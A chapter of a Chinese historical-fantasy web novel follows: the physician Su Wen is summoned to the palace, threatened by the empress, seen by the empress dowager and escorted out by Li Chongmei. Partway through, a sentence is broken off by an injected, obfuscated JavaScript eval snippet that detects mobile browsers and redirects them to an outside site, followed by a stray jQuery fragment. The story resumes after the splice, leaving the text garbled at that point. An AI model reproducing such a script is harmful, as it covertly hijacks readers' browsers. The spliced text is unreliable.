在屋里的时候能感觉到外间白蒙蒙的,本以为是天亮的缘故,出了门后,素问才发现外间起了大雾。这雾气在李府内还稍稍好些,到了大道上,人眼便无法看清五步开外是何情景了。雾气遮挡,素问的视力也好不到哪里去,只能靠着记忆往前走,路上鲜少遇见行人,快到坊门时,才看到包子铺前挂起的黄灯笼。
宣风坊门的门楼边也有类似的灯笼,提灯人身形欣长,披着一件灰色斗篷,面朝坊内,似乎是在等人。
素问认出那人,脚步瞬间变得轻快,但是随着距离的拉近,她渐渐冷静下来。
方灵枢很快便看到素问,立刻迎过来,一边将手中另一件斗篷递给素问,一边道:“我猜你会很早出门,果真如此。”
素问接受好意,将斗篷披上,有些好奇地问:“为何会这么觉得?你又因何会来这里?”
“因为你不想让别人注意到。”方灵枢与素问并肩而行,声音有些沉重,“我来,也是这个原因。”
素问更是不解:“怎么?”
“衙内家事不愿为外人所知晓,但世间岂有不透风的墙?坊间其实早有传闻,昨日衙内阵仗那般大,有心之人自然注意到,也联想到了。”方灵枢说着,带素问往右转。
素问停下脚步,指了指身后:“惠训坊在那头。”
方灵枢解释道:“宫里恐怕会有人找你,不管是为你还是为衙内着想,都不宜与他们见面,我想带你出城避几日。”
素问想到图南先前给自己看的小纸条,也是说自己被宫中贵人盯上了,须得远离李重琲,如今看来,对方可能不仅是为了李重琲,更有可能是为了玲珑夫人和这个不知来历的孩子。想到此处,素问道:“有道理,我们走。”
可惜对方也想到了,素问和方灵枢刚到定鼎门,还未说明出城的要求,便有十来个人围了上来,他们都穿着普通的布衣,但举手投足却是武人习惯,眼睫和发间都是露水,显然等了很久了。
素问和方灵枢对视一眼,不由都皱起了眉。
一个领头人越众而出,向素问客客气气地行了一礼,道:“我家主人请叶医师过府一叙,若是不愿从定鼎门出发,其他城门也都有奴仆等着,自然,安平医庐早已安排好了车马——叶医师想怎么走?”
这是将所有的门路都堵死了。素问并不怕见什么皇亲,便道:“我可以去,就是担心同伴,你们不会为难他罢?”
“我等不是打家劫舍的恶人,方医师在洛阳城也是有声望的,叶医师但请放心。”那人道。
素问也不啰嗦,示意他们拉来马车,从容地坐了上去。素问刚坐定,忍不住掀起窗帘,伸出手去。
方灵枢毫不迟疑地上前一步握住她,温声道:“我去安平医庐跟弟弟妹妹们招呼一声,免得他们着急,然后租辆马车去皇城外等。”
领头人笑道:“我们会将叶医师安然送回惠训坊。”
“有劳。”方灵枢淡淡回应,抬头看向素问,微不可察地点了点头。
素问安心一笑,松开了手。
马车前后围着人,晃晃悠悠地沿着天街北上,径直过了三道桥,尔后往左一转,在右掖门前停下。素问以为该下马车了,便将药箱背到肩上,正待起身,马车又重新出发,过了右掖门后,行了片刻功夫,再次停下。
领头人这才在外间道:“叶医师,我们到了。”
素问下了马车,抬头一瞧,看到“长乐门”三字,便知自己已经进了皇城,在宫城外了。
东都洛阳在武周年间被称作神都,皇城紫微宫在此期间达到极盛之势,然而安史之乱后毁于兵燹,今朝之紫微宫与当年早已不可同日而语,即便后来屡有修缮,终归难掩破败之象,到得如今,皇帝还欠着兵士钱,就更不可能重现荣光。
长乐门门头上甚至有漆红斑驳脱落。
领头人收走了素问的药箱,然后将她交给一个内侍。他们沿着洛城高墙边走,随处可见杂草乱石,素问瞥了两眼,就不再好奇,尔后一路绕过大内,来到后宫入口。
内侍全程不发一言,到这里将素问引给一个宫女后便转身离开了。那宫女先搜了搜素问的身,最后目光落在她发间唯一一个木簪上,犹豫片刻,没再要求她摘下,带着素问入后宫,来到一处宫殿外站定。
门口守着的宫女见状,其中一人进殿去回话,片刻之后与另一个宫女一道出来,殿内跟出的宫女道:“娘娘命你进去,随我来。”
殿内干净整洁,装饰不多,胜在布置得当,一花一木皆与瓦柱相和,若殿主人如外界传言那般善妒,不应有如此心境。
素问心里暗自思索着,脚下不停,片刻功夫便来到了一处珠帘外。珠帘里还有一层薄纱,从外看去,仿若雾里看花,可见桌案上檀香袅袅,但难见锦衣华服女子真面。
宫女站在素问旁,示意她垂头,莫要到处看,然后回话道:“娘娘,叶素问带到。”
华服女子微微一动,旁边一个嬷嬷从里间走出,她看了素问一眼,问:“见到娘娘,怎么不跪拜行礼?”
素问道:“我听说宫中礼仪复杂,怕行错了礼反倒不好。”
这嬷嬷冷笑一声:“药圣谷惯来称神道圣,今日看来,果真威风。”
素问无言,她自己的行为自然不能牵连到人间挂名的师门,便利落地跪下,伏地行礼。
“果真不懂规矩,起罢。”皇后终于在里间发话,转身坐到椅子上,道,“叶素问,你可知今日为何被召?”
素问起身,垂头道:“不知。”
皇后抬手挥了挥,等嬷嬷清空了人,自己也退了出去,皇后才开口道:“玲珑夫人的孩子还好么?”
素问有些茫然:“娘娘是说李衙内么?”
“莫要自作聪明,你知道我在问什么。”皇后淡淡道,“她还活着么?”
素问沉吟一瞬,道:“夫人有隐疾,但在逐渐变好。”
“隐疾……哼!”皇后嗤笑,“真当我是瞎了聋了?”
素问抿唇不语。
皇后顿了片刻,缓了语气,叹道:“其实也怪不了她,当初五弟猜忌陛下,将我儿重吉禁军兵权解去,又将小女幼澄接进宫中为质,赵玲珑母子俩在洛阳的日子自然也不好过,她不从中斡旋,恐怕两人早就没命了,可她一个弱质女子又做什么?”
素问有些惊讶,不由抬头看向珠帘之后,这才算看清了皇后是何模样,于是更为惊讶——她与玲珑夫人竟有七分相似,只是面上多了些风霜,更加坚毅些。
皇后撑着头,想到当年情形,不由皱起眉:“当初为了救重吉和幼澄,她也是使尽了浑身解数,虽最终没能救回,我仍旧谢她,可以不去计较她与陛下的纠葛,说到底,我们是表姊妹,有一起长大的情分在。”
素问不解:“我在外面从未听说过娘娘与玲珑夫人的关系,这应当是秘闻了,娘娘为何要与我说?”
“要你死个明白。”
素问:“……”
皇后吓唬过了,回到正题:“你帮我劝她一句,劝动了,我就不论你的罪,若是劝不动,你就提脑袋来见我。”
素问:“?”与她何干?
皇后自顾自继续道:“让她带着两个孩子离开洛阳,远远走开,去闽国、汉国或是吴越国,随她喜欢,总之这辈子别再叫我瞧见他们。”
素问道:“我会转述,但不能保证玲珑夫人会听我的。”
“那你就等死罢。”皇后道。
不知为何,素问并未感觉到任何杀气。
里间安静了片刻之后,皇后下了逐客令:“药圣谷耳目不少,人没来,太后就得了消息——出去罢,好好给太后瞧瞧身体,说不定免你一死。”
素问这才明白,原来是图南去太后面前疏通了,皇后这才轻易放了自己。素问告退出去,到宫门口,便见到了太后宫里来接她的人。此人穿着与皇后宫里的人不同,气质温和,笑容和煦,再加上身材高挑,相貌出众,叫人一眼便注意到了。
嬷嬷带素问过去,很是客气地送走了他们。
等离皇后宫有一段距离的,宫女才回头向素问笑道:“还好么?圣人可能会威胁你几句,但是她不会真的伤害你,你莫要害怕。”
这善意太过明显,素问倒有些奇怪,她仔细看了宫女一眼,暗中记下她的相貌,口中回答道:“不害怕。”
“那就好,我看你也不是个胆儿小的,等会儿见到太后也别发憷,你落落大方的,太后反而更喜欢。”
素问道:“我记住了,多谢。”
宫女笑眯眯地“嗯”了一声。
到了太后宫里,事实果真与宫女所述一致,素问给太后问诊一二,便被打发了出去,可见她平日里有自己用得习惯的太医,此番召见素问,与其说是看病,不如说是解围。
出后宫的路依旧由先前那名宫女带着,直等到快到宫门处,她才停了脚步,回头道:“你怎么不问我如何称呼?”
素问笑道:“若是还有机会见面,我应当能打听到。”
对方说得委婉,宫女却听得明白,她狡黠一笑,道:“那你就去打听打听试试。”
素问猛然想起图南为了保护心上人,绝不会泄露她的名讳,便随之一笑,道:“那我就更不能问了,希望将来还有机会再见,那时我再来请教阁下大名。”
“阁、下、大、名。”宫女挨个咀嚼,笑弯了眼睛,“好,那我可要做好准备,好好介绍自己一番才好——咦?”
素问见宫女眼中笑意淡去,顺着她的目光看去,只见一个内侍等在门口,她有些奇怪:“怎么了?不是送我出去的人么?”
“是陛下身边的人。”宫女嘴唇微动,快速说完后,带着素问到门口,笑着问,“内常侍有礼,怎么等在这里?”
内常侍笑道:“陛下听说叶素问进宫了,要召去见见呢。”
宫女一惊,低声问:“为何?她刚给太后看了病,太后印象蛮好呢……”
“姑姑不必担心。”内常侍小声道,“与衙内有关,总之是好事。”
素问一阵无言。
内常侍以为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15382262|163002||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她在一边听不见,说完之后,冲她招了招手,居高临下道:“随我走一遭。”
素问脚步刚挪动一步,又停了下来,看向了内常侍的身后。
内常侍回头一看,见到来人,连忙躬身行礼:“殿下。”
宫女也跟着行礼。
李重美示意两人起身,等自己喘匀了气,才问:“你们在这里做什么?”
内常侍将皇帝要召见素问的话说了。
李重美当即道:“你先回去,与陛下说我送叶医师出宫了,晚点我会去面见陛下解释。”
内常侍目瞪口呆:“殿下!这这这……”
“陛下不会罚你,安心回去。”李重美说罢,回头向宫女点了点头,道,“青兰也回去罢,我会将叶医师安然送到家的。”
素问看向宫女,不禁一笑:“原来你叫青兰。”
青兰失笑:“你可真是心大,这会儿还有空说这个?”
素问道:“顺其自然嘛。”
青兰无奈地摇了摇头,向李重美道:“我就送到这里,后面的路劳烦殿下。”
李重美温声道:“应当的。”
有李重美陪同在旁,出宫的路上再无枝节生出,内侍远远跟着,并不靠近,不过李重美还是回头确认了一眼,才开口道:“还好来得及时,不然可不好收场。”
素问奇道:“此话怎讲?”
李重美解释道:“小哥到了说亲的年纪,父亲一直留意着,无奈他不肯松口,前些天坊间传闻到了父亲耳里,他便传小哥来问,小哥顺势求父亲赐婚……”
素问眉头一跳:“什么?!”
“父亲没答应。”
素问松了口气。
李重美叹道:“如此,今日父亲寻你去,肯定不是什么好事了。我知道小哥倾慕叶医师,也有意促成你二人的姻缘,但父亲因为对小哥有所亏欠,执意赐婚高门贵女,要让你委身做妾,此事莫要说小哥不同意,我也坚决反对。”
素问忽然理解为何明月奴会忍不住翻白眼,实在是这世间真的有如此荒诞无稽之事,叫人无言以对。
不过李重美与自己并没有熟悉到交心的地步,素问还是很明白这一点的,便问道:“上将军想说什么?”
李重美停下脚步,认真道:“往后宫中若是有人再派人去请叶医师,还请立即遣人来找我。”李重琲说着,从怀里取出一枚暗金令牌递给素问,继续道,“只要出示这枚令牌,我府中畅行无阻,即便我不在,也会有人进宫周旋。叶医师与方医师是第一批出城救灾的人,你们帮了我大忙,又心系百姓,在下力薄,或许做不到能顾好每一个人,但至少可以承诺绝不让叶医师受委屈——重美绝不食言。”
素问一怔,垂头看向令牌——她本以为李重美下一句该是让自己远离李重琲这一类的话,却没想到竟是努力给自己最大程度的庇护——难怪世人皆说李重美渊清玉絜,先前只道是三分为真,七分是沽名钓誉,原来竟是众目昭彰,实至名归。
片刻之后,素问抬起头,没有接令牌:“殿下好意,素问心领了,不过我既然能来洛阳开医庐,也有自己保命的本领,殿下放心。”
李重美有些惊讶,顿了片刻,才收回令牌,道:“好,但我的话仍旧算数,遇到解决不了的难题,尽管来寻。”
素问退后一步,冲他抱了抱拳,道:“殿下有用的着我的地方,也请尽情吩咐。”
两人相视一笑,重新出发,往宫门行去。
到长乐门时,素问心有所感,遥遥看向皇城之外,果然看见外面有车马等候的身影。
李重琲背着手站在她身旁,顺着看去,认出方灵枢,他不禁又低头去看素问,见她嘴角不自觉地扬起,眼睛也瞬间亮了起来,神色顿时变得有些复杂,片刻之后,又释然一笑,示意旁边的侍卫将药箱还给素问。
素问收回目光,将药箱背到肩上。
李重美冲马车的方向抬了抬下巴,道:“我要进宫去见父亲,既然有人来接你,那我就不远送了。”
“今日多谢殿下解围。”素问认真道,“告辞。”
“我并非百事通,是有人及时来寻我帮忙。”李重美意有所指地看了方灵枢一眼,尔后轻微地一点头,“告辞。”
素问有些意外,与方灵枢道别时,她本意是想让他安心回医庐等着,毕竟自己并非普通凡人,自然毫无畏惧,没想到方灵枢去寻来李重美,若不是他这番举动,也许自己现下还在努力应付皇帝。据说“天子一怒,伏尸百万,流血千里”,若是自己忤逆旨意,不知会招来什么结果。
或许要迫不得已去换身份——当初在九皋山上义无反顾地松手,如今素问想到这一点,却投鼠忌器起来,这个身份所认识的人、经营的关系,不知在什么时候竟变得如此重要了。
皇城之外,方灵枢目光从行人身上收回,不知第多少次地看向左掖门,忽然见到素问从里面走出,顿时放下心来,他驱着马车,一遍笑着挥手,一遍靠近素问。
“就当作是……修心。”素问喃喃道。